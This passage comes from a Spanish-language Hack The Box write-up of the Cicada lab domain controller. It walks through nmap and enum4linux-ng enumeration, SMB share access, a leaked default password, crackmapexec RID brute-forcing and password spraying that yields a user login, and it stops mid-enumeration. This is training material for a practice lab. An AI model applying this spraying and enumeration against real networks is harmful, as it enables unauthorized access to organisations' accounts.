HackTheBox – Cicada Writeup

Introducción

Este documento detalla el proceso paso a paso para explotar la máquina Cicada en Hack The Box. Se incluyen todas las herramientas y técnicas empleadas, desde la enumeración inicial hasta la obtención de la flag de administrador.

Herramientas Utilizadas:

  • nmap: herramienta de código abierto utilizada para el escaneo y mapeo de redes.
  • enum4linux: Herramienta de auditoría de redes para obtener información sobre sistemas Windows a través del protocolo SMB. Permite la enumeración de usuarios, grupos, políticas y otras configuraciones importantes de un dominio.
  • CrackMapExec (CME): Herramienta de post-explotación que facilita la administración de redes de Windows. Se utiliza para realizar tareas como la enumeración de usuarios, la ejecución remota de comandos, y la explotación de vulnerabilidades en una red comprometida mediante SMB, RDP, WinRM, entre otros.
  • Evil-WinRM: Herramienta de post-explotación que permite interactuar con sistemas Windows de forma remota a través de PowerShell utilizando el protocolo WinRM.
  • Mimikatz: Herramienta de seguridad utilizada para obtener contraseñas y hashes de usuarios de un sistema Windows, así como para manipular credenciales.
  • pypykatz: Herramienta basada en Python para extraer y analizar contraseñas de archivos SAM y SYSTEM de Windows sin necesidad de estar en un entorno de ejecución de Windows.
  • samdump2: Herramienta de línea de comandos utilizada para extraer contraseñas o hashes de los archivos SAM y SYSTEM de Windows.

Descubrimiento de la Máquina Objetivo

Escaneo de Puertos con Nmap

 

Lo primero que realizamos fue un escaneo con Nmap para identificar los puertos abiertos en la máquina. Utilizamos el siguiente comando:

❯ sudo nmap -sS -sC -sV -Pn -p- -T4 -A -oG allPorts 10.10.11.35

Starting Nmap 7.93 ( https://nmap.org ) at 2024-12-03 12:17 CET
Nmap scan report for 10.10.11.35
Host is up (0.031s latency).
Not shown: 65526 filtered tcp ports (no-response)
PORT      STATE SERVICE           VERSION
88/tcp    open  kerberos-sec      Microsoft Windows Kerberos (server time: 2024-12-03 18:19:50Z)
389/tcp   open  ldap              Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http        Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap          Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:CICADA-DC.cicada.htb
| Not valid before: 2024-08-22T20:24:16
|_Not valid after:  2025-08-22T20:24:16
3268/tcp  open  ldap              Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:CICADA-DC.cicada.htb
| Not valid before: 2024-08-22T20:24:16
|_Not valid after:  2025-08-22T20:24:16
|_ssl-date: TLS randomness does not represent time
3269/tcp  open  globalcatLDAPssl?
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:CICADA-DC.cicada.htb
| Not valid before: 2024-08-22T20:24:16
|_Not valid after:  2025-08-22T20:24:16
5985/tcp  open  http              Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
50360/tcp open  unknown
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: WAP|phone
Running: Linux 2.4.X|2.6.X, Sony Ericsson embedded
OS CPE: cpe:/o:linux:linux_kernel:2.4.20 cpe:/o:linux:linux_kernel:2.6.22 cpe:/h:sonyericsson:u8i_vivaz
OS details: Tomato 1.28 (Linux 2.4.20), Tomato firmware (Linux 2.6.22), Sony Ericsson U8i Vivaz mobile phone
Service Info: Host: CICADA-DC; OS: Windows; CPE: cpe:/o:microsoft:windows

TRACEROUTE (using port 636/tcp)
HOP RTT    ADDRESS
1   ... 30

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 299.08 seconds
  • -sS: Realiza un escaneo de puertos en TCP usando la técnica SYN scan, que es rápido y difícil de detectar.
  • -sC: Ejecuta scripts predeterminados de Nmap para detectar vulnerabilidades comunes y obtener más información sobre los servicios.
  • -sV: Detecta la versión de los servicios que están escuchando en los puertos abiertos.
  • -Pn: Desactiva la detección de hosts, lo que asume que el host está activo, incluso si no responde a los pings.
  • -p-: Escanea todos los puertos (del 1 al 65535).
  • -T4: Ajusta la velocidad del escaneo para hacerlo más rápido, pero con menos probabilidad de ser detectado.
  • -A: Realiza un escaneo completo de detección de sistema operativo, versiones, y otros detalles avanzados.
  • -oG allPorts: Guarda el resultado del escaneo en un archivo en formato de salida grepable (ideal para análisis posteriores).

Resumen resultados nmap:

  • Puerto 88/tcp (Kerberos): Usado para autenticación en redes Windows mediante Kerberos.
  • Puerto 389/tcp (LDAP): Servicio LDAP utilizado por Active Directory para acceder a directorios.
  • Puerto 464/tcp (kpasswd5?): Relacionado con la gestión de contraseñas en Kerberos.
  • Puerto 593/tcp (RPC over HTTP): Usado para Remote Procedure Call (RPC) sobre HTTP, común en administración remota de Windows.
  • Puerto 636/tcp (SSL/LDAP): Variante de LDAP con SSL para comunicaciones cifradas.
  • Puerto 3268/tcp (LDAP Global Catalog): Usado en el Active Directory para el catálogo global de directorios.
  • Puerto 3269/tcp (SSL/Global Catalog): Similar al puerto 3268 pero con SSL para cifrar la comunicación.
  • Puerto 5985/tcp (HTTP API): Asociado con la API HTTP de Microsoft, utilizada para administración remota.
  • Puerto 50360/tcp (Desconocido): Un puerto con un servicio desconocido que requiere más investigación.

Enumeración

Después de realizar un escaneo inicial de puertos con Nmap, decidimos realizar una enumeración más profunda de la máquina objetivo utilizando enum4linux-ng, una herramienta especializada en la enumeración de información sobre sistemas Windows a través de SMB, LDAP y RPC.

 

❯ /opt/enum4linux-ng/enum4linux-ng.py -A  10.10.11.35
ENUM4LINUX - next generation (v1.3.3)

 ==========================
|    Target Information    |
 ==========================
[*] Target ........... 10.10.11.35
[*] Username ......... ''
[*] Random Username .. 'iiludawx'
[*] Password ......... ''
[*] Timeout .......... 5 second(s)

 ====================================
|    Listener Scan on 10.10.11.35    |
 ====================================
[*] Checking LDAP
[+] LDAP is accessible on 389/tcp
[*] Checking LDAPS
[+] LDAPS is accessible on 636/tcp
[*] Checking SMB
[+] SMB is accessible on 445/tcp
[*] Checking SMB over NetBIOS
[+] SMB over NetBIOS is accessible on 139/tcp

 ===================================================
|    Domain Information via LDAP for 10.10.11.35    |
 ===================================================
[*] Trying LDAP
[+] Appears to be root/parent DC
[+] Long domain name is: cicada.htb

 ==========================================================
|    NetBIOS Names and Workgroup/Domain for 10.10.11.35    |
 ==========================================================
[-] Could not get NetBIOS names information via 'nmblookup': timed out

 ========================================
|    SMB Dialect Check on 10.10.11.35    |
 ========================================
[*] Trying on 445/tcp
[+] Supported dialects and settings:
Supported dialects:
  SMB 1.0: false
  SMB 2.02: true
  SMB 2.1: true
  SMB 3.0: true
  SMB 3.1.1: true
Preferred dialect: SMB 3.0
SMB1 only: false
SMB signing required: true

 ==========================================================
|    Domain Information via SMB session for 10.10.11.35    |
 ==========================================================
[*] Enumerating via unauthenticated SMB session on 445/tcp
[+] Found domain information via SMB
NetBIOS computer name: CICADA-DC
NetBIOS domain name: CICADA
DNS domain: cicada.htb
FQDN: CICADA-DC.cicada.htb
Derived membership: domain member
Derived domain: CICADA

 ========================================
|    RPC Session Check on 10.10.11.35    |
 ========================================
[*] Check for null session
[+] Server allows session using username '', password ''
[*] Check for random user
[+] Server allows session using username 'iiludawx', password ''
[H] Rerunning enumeration with user 'iiludawx' might give more results

 ==================================================
|    Domain Information via RPC for 10.10.11.35    |
 ==================================================
[+] Domain: CICADA
[+] Domain SID: S-1-5-21-917908876-1423158569-3159038727
[+] Membership: domain member

 ==============================================
|    OS Information via RPC for 10.10.11.35    |
 ==============================================
[*] Enumerating via unauthenticated SMB session on 445/tcp
[+] Found OS information via SMB
[*] Enumerating via 'srvinfo'
[-] Could not get OS info via 'srvinfo': STATUS_ACCESS_DENIED
[+] After merging OS information we have the following result:
OS: Windows 10, Windows Server 2019, Windows Server 2016
OS version: '10.0'
OS release: ''
OS build: '20348'
Native OS: not supported
Native LAN manager: not supported
Platform id: null
Server type: null
Server type string: null

 ====================================
|    Users via RPC on 10.10.11.35    |
 ====================================
[*] Enumerating users via 'querydispinfo'
[-] Could not find users via 'querydispinfo': STATUS_ACCESS_DENIED
[*] Enumerating users via 'enumdomusers'
[-] Could not find users via 'enumdomusers': STATUS_ACCESS_DENIED

 =====================================
|    Groups via RPC on 10.10.11.35    |
 =====================================
[*] Enumerating local groups
[-] Could not get groups via 'enumalsgroups domain': STATUS_ACCESS_DENIED
[*] Enumerating builtin groups
[-] Could not get groups via 'enumalsgroups builtin': STATUS_ACCESS_DENIED
[*] Enumerating domain groups
[-] Could not get groups via 'enumdomgroups': STATUS_ACCESS_DENIED

 =====================================
|    Shares via RPC on 10.10.11.35    |
 =====================================
[*] Enumerating shares
[+] Found 0 share(s) for user '' with password '', try a different user

 ========================================
|    Policies via RPC for 10.10.11.35    |
 ========================================
[*] Trying port 445/tcp
[-] SMB connection error on port 445/tcp: STATUS_ACCESS_DENIED
[*] Trying port 139/tcp
[-] SMB connection error on port 139/tcp: session failed

 ========================================
|    Printers via RPC for 10.10.11.35    |
 ========================================
[-] Could not get printer info via 'enumprinters': STATUS_ACCESS_DENIED

Completed after 10.54 seconds

Resumen de la enumeración

Puertos accesibles:
  • LDAP (389/tcp) y LDAPS (636/tcp) están disponibles.
  • SMB (445/tcp) y SMB sobre NetBIOS (139/tcp) están abiertos.
Dominio:
  • El dominio identificado es cicada.htb, y la máquina parece ser un controlador de dominio raíz.
Sistema operativo:
  • El sistema operativo es Windows 10 o Windows Server 2019/2016 con la versión 10.0.
Información denegada:
  • La enumeración de usuarios, grupos y compartidos fue bloqueada por restricciones de acceso (STATUS_ACCESS_DENIED).

Dado que no se pudo obtener información adicional relevante utilizando el acceso anónimo, se decidió intentar la enumeración con otros usuarios, como el usuario «guest», con la esperanza de obtener más detalles y poder avanzar en la investigación.

 

❯ /opt/enum4linux-ng/enum4linux-ng.py -A  10.10.11.35 -u "guest"
ENUM4LINUX - next generation (v1.3.3)

 ==========================
|    Target Information    |
 ==========================
[*] Target ........... 10.10.11.35
[*] Username ......... 'guest'
[*] Random Username .. 'injltnmq'
[*] Password ......... ''
[*] Timeout .......... 5 second(s)

 ====================================
|    Listener Scan on 10.10.11.35    |
 ====================================
[*] Checking LDAP
[+] LDAP is accessible on 389/tcp
[*] Checking LDAPS
[+] LDAPS is accessible on 636/tcp
[*] Checking SMB
[+] SMB is accessible on 445/tcp
[*] Checking SMB over NetBIOS
[+] SMB over NetBIOS is accessible on 139/tcp

 ===================================================
|    Domain Information via LDAP for 10.10.11.35    |
 ===================================================
[*] Trying LDAP
[+] Appears to be root/parent DC
[+] Long domain name is: cicada.htb

 ==========================================================
|    NetBIOS Names and Workgroup/Domain for 10.10.11.35    |
 ==========================================================
[-] Could not get NetBIOS names information via 'nmblookup': timed out

 ========================================
|    SMB Dialect Check on 10.10.11.35    |
 ========================================
[*] Trying on 445/tcp
[+] Supported dialects and settings:
Supported dialects:
  SMB 1.0: false
  SMB 2.02: true
  SMB 2.1: true
  SMB 3.0: true
  SMB 3.1.1: true
Preferred dialect: SMB 3.0
SMB1 only: false
SMB signing required: true

 ==========================================================
|    Domain Information via SMB session for 10.10.11.35    |
 ==========================================================
[*] Enumerating via unauthenticated SMB session on 445/tcp
[+] Found domain information via SMB
NetBIOS computer name: CICADA-DC
NetBIOS domain name: CICADA
DNS domain: cicada.htb
FQDN: CICADA-DC.cicada.htb
Derived membership: domain member
Derived domain: CICADA

 ========================================
|    RPC Session Check on 10.10.11.35    |
 ========================================
[*] Check for null session
[+] Server allows session using username '', password ''
[*] Check for user session
[+] Server allows session using username 'guest', password ''
[*] Check for random user
[+] Server allows session using username 'injltnmq', password ''
[H] Rerunning enumeration with user 'injltnmq' might give more results

 ==================================================
|    Domain Information via RPC for 10.10.11.35    |
 ==================================================
[+] Domain: CICADA
[+] Domain SID: S-1-5-21-917908876-1423158569-3159038727
[+] Membership: domain member

 ==============================================
|    OS Information via RPC for 10.10.11.35    |
 ==============================================
[*] Enumerating via unauthenticated SMB session on 445/tcp
[+] Found OS information via SMB
[*] Enumerating via 'srvinfo'
[+] Found OS information via 'srvinfo'
[+] After merging OS information we have the following result:
OS: Windows 10, Windows Server 2019, Windows Server 2016
OS version: '10.0'
OS release: ''
OS build: '20348'
Native OS: not supported
Native LAN manager: not supported
Platform id: '500'
Server type: '0x80102b'
Server type string: Wk Sv PDC Tim NT     CICADA-DC

 ====================================
|    Users via RPC on 10.10.11.35    |
 ====================================
[*] Enumerating users via 'querydispinfo'
[-] Could not find users via 'querydispinfo': STATUS_ACCESS_DENIED
[*] Enumerating users via 'enumdomusers'
[-] Could not find users via 'enumdomusers': STATUS_ACCESS_DENIED

 =====================================
|    Groups via RPC on 10.10.11.35    |
 =====================================
[*] Enumerating local groups
[-] Could not get groups via 'enumalsgroups domain': STATUS_ACCESS_DENIED
[*] Enumerating builtin groups
[-] Could not get groups via 'enumalsgroups builtin': STATUS_ACCESS_DENIED
[*] Enumerating domain groups
[-] Could not get groups via 'enumdomgroups': STATUS_ACCESS_DENIED

 =====================================
|    Shares via RPC on 10.10.11.35    |
 =====================================
[*] Enumerating shares
[+] Found 7 share(s):
ADMIN$:
  comment: Remote Admin
  type: Disk
C$:
  comment: Default share
  type: Disk
DEV:
  comment: ''
  type: Disk
HR:
  comment: ''
  type: Disk
IPC$:
  comment: Remote IPC
  type: IPC
NETLOGON:
  comment: Logon server share
  type: Disk
SYSVOL:
  comment: Logon server share
  type: Disk
[*] Testing share ADMIN$
[+] Mapping: DENIED, Listing: N/A
[*] Testing share C$
[+] Mapping: DENIED, Listing: N/A
[*] Testing share DEV
[+] Mapping: OK, Listing: DENIED
[*] Testing share HR
[+] Mapping: OK, Listing: OK
[*] Testing share IPC$
[+] Mapping: OK, Listing: NOT SUPPORTED
[*] Testing share NETLOGON
[+] Mapping: OK, Listing: DENIED
[*] Testing share SYSVOL
[+] Mapping: OK, Listing: DENIED

 ========================================
|    Policies via RPC for 10.10.11.35    |
 ========================================
[*] Trying port 445/tcp
[-] SMB connection error on port 445/tcp: STATUS_ACCESS_DENIED
[*] Trying port 139/tcp
[-] SMB connection error on port 139/tcp: session failed

 ========================================
|    Printers via RPC for 10.10.11.35    |
 ========================================
[+] No printers returned (this is not an error)

Completed after 15.87 seconds

Resumen de la enumeración

Puertos accesibles:
  • LDAP (389/tcp) y LDAPS (636/tcp) están accesibles.
  • SMB (445/tcp) y SMB sobre NetBIOS (139/tcp) están abiertos.
Dominio:
  • El dominio es cicada.htb y el controlador de dominio es CICADA-DC.
Información del sistema operativo:
  • El sistema operativo es Windows 10, Windows Server 2019, o Windows Server 2016 (versión 10.0, build 20348).
Shares encontradas:
  • Se encontraron 7 compartidos, de los cuales algunos como DEV, HR y IPC$ se pudieron mapear correctamente, mientras que otros como ADMIN$, C$, NETLOGON y SYSVOL tuvieron restricciones de acceso.
Usuarios y grupos:
  • No se pudo enumerar usuarios ni grupos debido a restricciones de acceso (STATUS_ACCESS_DENIED).
Políticas:
  • No se pudieron obtener políticas de seguridad a través de RPC debido a un error de conexión (STATUS_ACCESS_DENIED).

urante la enumeración de shares SMB en el servidor 10.10.11.35, se encontraron varias unidades compartidas accesibles: DEV, HR, NETLOGON y SYSVOL. A continuación, creamos un script para revisar el contenido de cada una de estas unidades y verificar su disponibilidad.

Script para la enumeración de shares SMB

El siguiente script en Bash intenta acceder a cada uno de los shares SMB detectados y listar su contenido. El script utiliza las credenciales de usuario guest para intentar el acceso.

 

#!/bin/bash

# Dirección IP del servidor
SERVER_IP="10.10.11.35"

# Usuario SMB
SMB_USER="guest"
SMB_PASS=""

# Lista de shares detectados
SHARES=("DEV" "HR" "NETLOGON" "SYSVOL")

echo "Iniciando enumeración de shares SMB en $SERVER_IP con usuario '$SMB_USER'..."

for SHARE in "${SHARES[@]}"; do
    echo "Intentando acceder al share: $SHARE"
    
    # Comando para listar el contenido del share
    smbclient "\\\\$SERVER_IP\\$SHARE" -U "$SMB_USER%$SMB_PASS" 2>/dev/null

    # Verificar si el acceso fue exitoso
    if [ $? -eq 0 ]; then
        echo "Acceso exitoso al share '$SHARE'. Contenido listado arriba."
    else
        echo "No se pudo acceder al share '$SHARE'."
    fi

    echo "---------------------------------------------"
done

echo "Enumeración completada."

Ejecución del script

Al ejecutar el script, se realizó la enumeración de los shares SMB y se intentó acceder a cada uno de ellos:

 

❯ bash enum_smb.sh

Iniciando enumeración de shares SMB en 10.10.11.35 con usuario 'guest'...
Intentando acceder al share: DEV
Try "help" to get a list of possible commands.
smb: \> ls
NT_STATUS_ACCESS_DENIED listing \*
smb: \> exit
Acceso exitoso al share 'DEV'. Contenido listado arriba.
---------------------------------------------
Intentando acceder al share: HR
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Thu Mar 14 13:29:09 2024
  ..                                  D        0  Thu Mar 14 13:21:29 2024
  Notice from HR.txt                  A     1266  Wed Aug 28 19:31:48 2024

		4168447 blocks of size 4096. 417279 blocks available
smb: \> exit
Acceso exitoso al share 'HR'. Contenido listado arriba.
---------------------------------------------
Intentando acceder al share: NETLOGON
Try "help" to get a list of possible commands.
smb: \> ls
NT_STATUS_ACCESS_DENIED listing \*
smb: \> exit
Acceso exitoso al share 'NETLOGON'. Contenido listado arriba.
---------------------------------------------
Intentando acceder al share: SYSVOL
Try "help" to get a list of possible commands.
smb: \> ls
NT_STATUS_ACCESS_DENIED listing \*
smb: \> exit
Acceso exitoso al share 'SYSVOL'. Contenido listado arriba.
---------------------------------------------
Enumeración completada.

Se detectaron los siguientes shares accesibles:

  • DEV: Acceso exitoso, aunque el contenido no fue detallado.
  • HR: Acceso exitoso. El contenido listado incluyó un archivo llamado Notice from HR.txt.
  • NETLOGON y SYSVOL: Acceso exitoso, pero no se pudo listar el contenido en detalle.

Descarga del archivo «Notice from HR.txt»

El archivo Notice from HR.txt se encuentra en la unidad compartida HR. A continuación, se muestra cómo se descargó el archivo utilizando el comando smbclient:

 

❯ smbclient \\\\10.10.11.35\\HR -U "guest"
Password for [WORKGROUP\guest]:
smb: \> ls
  .                                   D        0  Thu Mar 14 13:29:09 2024
  ..                                  D        0  Thu Mar 14 13:21:29 2024
  Notice from HR.txt                  A     1266  Wed Aug 28 19:31:48 2024
smb: \> get "Notice from HR.txt"
getting file \Notice from HR.txt of size 1266 as Notice from HR.txt (9,9 KiloBytes/sec) (average 9,9 KiloBytes/sec)

Durante el análisis del documento Notice from HR.txt, encontramos información sensible que contiene una contraseña predeterminada para los nuevos empleados de Cicada Corp. El contenido del archivo es el siguiente:

Dear new hire!

Welcome to Cicada Corp! We're thrilled to have you join our team. As part of our security protocols, it's essential that you change your default password to something unique and secure.

Your default password is: Cicada$M6Corpb*@Lp#nZp!8

To change your password:
1. Log in to your Cicada Corp account using the provided username and the default password mentioned above.
2. Once logged in, navigate to your account settings or profile settings section.
3. Look for the option to change your password. This will be labeled as "Change Password".
4. Follow the prompts to create a new password. Make sure your new password is strong, containing a mix of uppercase letters, lowercase letters, numbers, and special characters.
5. After changing your password, make sure to save your changes.

Remember, your password is a crucial aspect of keeping your account secure. Please do not share your password with anyone, and ensure you use a complex password.

If you encounter any issues or need assistance with changing your password, don't hesitate to reach out to our support team at support@cicada.htb.

Thank you for your attention to this matter, and once again, welcome to the Cicada Corp team!

Best regards,
Cicada Corp

Uso del Software enum4linux para Explorar Datos Sensibles:

A pesar de haber obtenido la contraseña mencionada en el documento, intentamos buscar información valiosa mediante la herramienta enum4linux para extraer datos de la máquina objetivo. Sin embargo, no logramos obtener resultados significativos

Realización de un Ataque de Fuerza Bruta con crackmapexec:

Como siguiente paso, utilizamos crackmapexec con la opción --rid-brute para intentar descubrir otros posibles usuarios en el dominio. El siguiente comando nos permite realizar una enumeración de usuarios potenciales en el dominio SMB:

 

❯ poetry run crackmapexec smb  10.10.11.35  -u "guest" -p "" --rid-brute


SMB         10.10.11.35     445    CICADA-DC        [*] Windows 10.0 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.35     445    CICADA-DC        [+] cicada.htb\guest: 
SMB         10.10.11.35     445    CICADA-DC        498: CICADA\Enterprise Read-only Domain Controllers (SidTypeGroup)
SMB         10.10.11.35     445    CICADA-DC        500: CICADA\Administrator (SidTypeUser)
SMB         10.10.11.35     445    CICADA-DC        501: CICADA\Guest (SidTypeUser)
SMB         10.10.11.35     445    CICADA-DC        502: CICADA\krbtgt (SidTypeUser)
SMB         10.10.11.35     445    CICADA-DC        512: CICADA\Domain Admins (SidTypeGroup)
SMB         10.10.11.35     445    CICADA-DC        513: CICADA\Domain Users (SidTypeGroup)
SMB         10.10.11.35     445    CICADA-DC        514: CICADA\Domain Guests (SidTypeGroup)
SMB         10.10.11.35     445    CICADA-DC        515: CICADA\Domain Computers (SidTypeGroup)
SMB         10.10.11.35     445    CICADA-DC        516: CICADA\Domain Controllers (SidTypeGroup)
SMB         10.10.11.35     445    CICADA-DC        517: CICADA\Cert Publishers (SidTypeAlias)
SMB         10.10.11.35     445    CICADA-DC        518: CICADA\Schema Admins (SidTypeGroup)
SMB         10.10.11.35     445    CICADA-DC        519: CICADA\Enterprise Admins (SidTypeGroup)
SMB         10.10.11.35     445    CICADA-DC        520: CICADA\Group Policy Creator Owners (SidTypeGroup)
SMB         10.10.11.35     445    CICADA-DC        521: CICADA\Read-only Domain Controllers (SidTypeGroup)
SMB         10.10.11.35     445    CICADA-DC        522: CICADA\Cloneable Domain Controllers (SidTypeGroup)
SMB         10.10.11.35     445    CICADA-DC        525: CICADA\Protected Users (SidTypeGroup)
SMB         10.10.11.35     445    CICADA-DC        526: CICADA\Key Admins (SidTypeGroup)
SMB         10.10.11.35     445    CICADA-DC        527: CICADA\Enterprise Key Admins (SidTypeGroup)
SMB         10.10.11.35     445    CICADA-DC        553: CICADA\RAS and IAS Servers (SidTypeAlias)
SMB         10.10.11.35     445    CICADA-DC        571: CICADA\Allowed RODC Password Replication Group (SidTypeAlias)
SMB         10.10.11.35     445    CICADA-DC        572: CICADA\Denied RODC Password Replication Group (SidTypeAlias)
SMB         10.10.11.35     445    CICADA-DC        1000: CICADA\CICADA-DC$ (SidTypeUser)
SMB         10.10.11.35     445    CICADA-DC        1101: CICADA\DnsAdmins (SidTypeAlias)
SMB         10.10.11.35     445    CICADA-DC        1102: CICADA\DnsUpdateProxy (SidTypeGroup)
SMB         10.10.11.35     445    CICADA-DC        1103: CICADA\Groups (SidTypeGroup)
SMB         10.10.11.35     445    CICADA-DC        1104: CICADA\john.smoulder (SidTypeUser)
SMB         10.10.11.35     445    CICADA-DC        1105: CICADA\sarah.dantelia (SidTypeUser)
SMB         10.10.11.35     445    CICADA-DC        1106: CICADA\michael.wrightson (SidTypeUser)
SMB         10.10.11.35     445    CICADA-DC        1108: CICADA\david.orelious (SidTypeUser)
SMB         10.10.11.35     445    CICADA-DC        1109: CICADA\Dev Support (SidTypeGroup)
SMB         10.10.11.35     445    CICADA-DC        1601: CICADA\emily.oscars (SidTypeUser)

Prueba de Conexión WinRM

Se realizó una prueba de conexión utilizando CrackMapExec (CME) para verificar la autenticación mediante el servicio WinRM en el objetivo 10.10.11.35. Se usaron las listas de usuarios y contraseñas obtenidas previamente. 

❯ poetry run crackmapexec winrm 10.10.11.35 -u /home/rokitoh/CTF/htb/Cicada/users.txt -p /home/rokitoh/CTF/htb/Cicada/pass.txt


SMB         10.10.11.35     5985   CICADA-DC        [*] Windows 10.0 Build 20348 (name:CICADA-DC) (domain:cicada.htb)
HTTP        10.10.11.35     5985   CICADA-DC        [*] http://10.10.11.35:5985/wsman
HTTP        10.10.11.35     5985   CICADA-DC        [-] cicada.htb\Administrator:Cicada$M6Corpb*@Lp#nZp!8 
HTTP        10.10.11.35     5985   CICADA-DC        [-] cicada.htb\Guest:Cicada$M6Corpb*@Lp#nZp!8 
HTTP        10.10.11.35     5985   CICADA-DC        [-] cicada.htb\krbtgt:Cicada$M6Corpb*@Lp#nZp!8 
HTTP        10.10.11.35     5985   CICADA-DC        [-] cicada.htb\CICADA-DC$:Cicada$M6Corpb*@Lp#nZp!8 
HTTP        10.10.11.35     5985   CICADA-DC        [-] cicada.htb\john.smoulder:Cicada$M6Corpb*@Lp#nZp!8 
HTTP        10.10.11.35     5985   CICADA-DC        [-] cicada.htb\sarah.dantelia:Cicada$M6Corpb*@Lp#nZp!8 
HTTP        10.10.11.35     5985   CICADA-DC        [-] cicada.htb\michael.wrightson:Cicada$M6Corpb*@Lp#nZp!8 
HTTP        10.10.11.35     5985   CICADA-DC        [-] cicada.htb\david.orelious:Cicada$M6Corpb*@Lp#nZp!8 
HTTP        10.10.11.35     5985   CICADA-DC        [-] cicada.htb\emily.oscars:Cicada$M6Corpb*@Lp#nZp!8 
HTTP        10.10.11.35     5985   CICADA-DC        [-] cicada.htb\:Cicada$M6Corpb*@Lp#nZp!8 

Resultado:

  • SMB: Conexión exitosa en el puerto 5985 con el nombre del equipo CICADA-DC y la versión de Windows 10.0 Build 20348.
  • HTTP: Varios intentos de autenticación con usuarios del dominio cicada.htb, pero todos fallaron, incluyendo el usuario Administrator y otros comunes.

Prueba de Conexión SMB

Realizamos la misma prueba de autenticación pero utilizando SMB sobre el puerto 445, con el mismo archivo de usuarios y contraseñas.

❯ poetry run crackmapexec smb 10.10.11.35 -u /home/rokitoh/CTF/htb/Cicada/users.txt -p /home/rokitoh/CTF/htb/Cicada/pass.txt
SMB         10.10.11.35     445    CICADA-DC        [*] Windows 10.0 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.35     445    CICADA-DC        [-] cicada.htb\Administrator:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE 
SMB         10.10.11.35     445    CICADA-DC        [-] cicada.htb\Guest:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE 
SMB         10.10.11.35     445    CICADA-DC        [-] cicada.htb\krbtgt:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE 
SMB         10.10.11.35     445    CICADA-DC        [-] cicada.htb\CICADA-DC$:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE 
SMB         10.10.11.35     445    CICADA-DC        [-] cicada.htb\john.smoulder:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE 
SMB         10.10.11.35     445    CICADA-DC        [-] cicada.htb\sarah.dantelia:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE 
SMB         10.10.11.35     445    CICADA-DC        [+] cicada.htb\michael.wrightson:Cicada$M6Corpb*@Lp#nZp!8 

Resultado:

  • SMB: Conexión exitosa, pero la autenticación falló con todos los usuarios comunes (Administrator, Guest, krbtgt).
  • Sin embargo, se identificó un inicio de sesión exitoso con el usuario michael.wrightson.

Enumeración SMB con enum4linux

Con el usuario y la contraseña michael.wrightson obtenidos, se procedió a listar los recursos compartidos mediante enum4linux-ng, lo cual proporcionó acceso completo a información sobre el dominio y la configuración de SMB en el sistema remoto. 

❯ /opt/enum4linux-ng/enum4linux-ng.py -A 10.10.11.35 -u "michael.wrightson" -p 'Cicada$M6Corpb*@Lp#nZp!8'


ENUM4LINUX - next generation (v1.3.3)

 ==========================
|    Target Information    |
 ==========================
[*] Target ........... 10.10.11.35
[*] Username ......... 'michael.wrightson'
[*] Random Username .. 'yxrwnyib'
[*] Password ......... 'Cicada$M6Corpb*@Lp#nZp!8'
[*] Timeout .......... 5 second(s)

 ====================================
|    Listener Scan on 10.10.11.35    |
 ====================================
[*] Checking LDAP
[+] LDAP is accessible on 389/tcp
[*] Checking LDAPS
[+] LDAPS is accessible on 636/tcp
[*] Checking SMB
[+] SMB is accessible on 445/tcp
[*] Checking SMB over NetBIOS
[+] SMB over NetBIOS is accessible on 139/tcp

 ===================================================
|    Domain Information via LDAP for 10.10.11.35    |
 ===================================================
[*] Trying LDAP
[+] Appears to be root/parent DC
[+] Long domain name is: cicada.htb

 ==========================================================
|    NetBIOS Names and Workgroup/Domain for 10.10.11.35    |
 ==========================================================
[-] Could not get NetBIOS names information via 'nmblookup': timed out

 ========================================
|    SMB Dialect Check on 10.10.11.35    |
 ========================================
[*] Trying on 445/tcp
[+] Supported dialects and settings:
Supported dialects:
  SMB 1.0: false
  SMB 2.02: true
  SMB 2.1: true
  SMB 3.0: true
  SMB 3.1.1: true
Preferred dialect: SMB 3.0
SMB1 only: false
SMB signing required: true

 ==========================================================
|    Domain Information via SMB session for 10.10.11.35    |
 ==========================================================
[*] Enumerating via unauthenticated SMB session on 445/tcp
[+] Found domain information via SMB
NetBIOS computer name: CICADA-DC
NetBIOS domain name: CICADA
DNS domain: cicada.htb
FQDN: CICADA-DC.cicada.htb
Derived membership: domain member
Derived domain: CICADA

 ========================================
|    RPC Session Check on 10.10.11.35    |
 ========================================
[*] Check for null session
[+] Server allows session using username '', password ''
[*] Check for user session
[+] Server allows session using username 'michael.wrightson', password 'Cicada$M6Corpb*@Lp#nZp!8'
[*] Check for random user
[+] Server allows session using username 'yxrwnyib', password 'Cicada$M6Corpb*@Lp#nZp!8'
[H] Rerunning enumeration with user 'yxrwnyib' might give more results

 ==================================================
|    Domain Information via RPC for 10.10.11.35    |
 ==================================================
[+] Domain: CICADA
[+] Domain SID: S-1-5-21-917908876-1423158569-3159038727
[+] Membership: domain member

 ==============================================
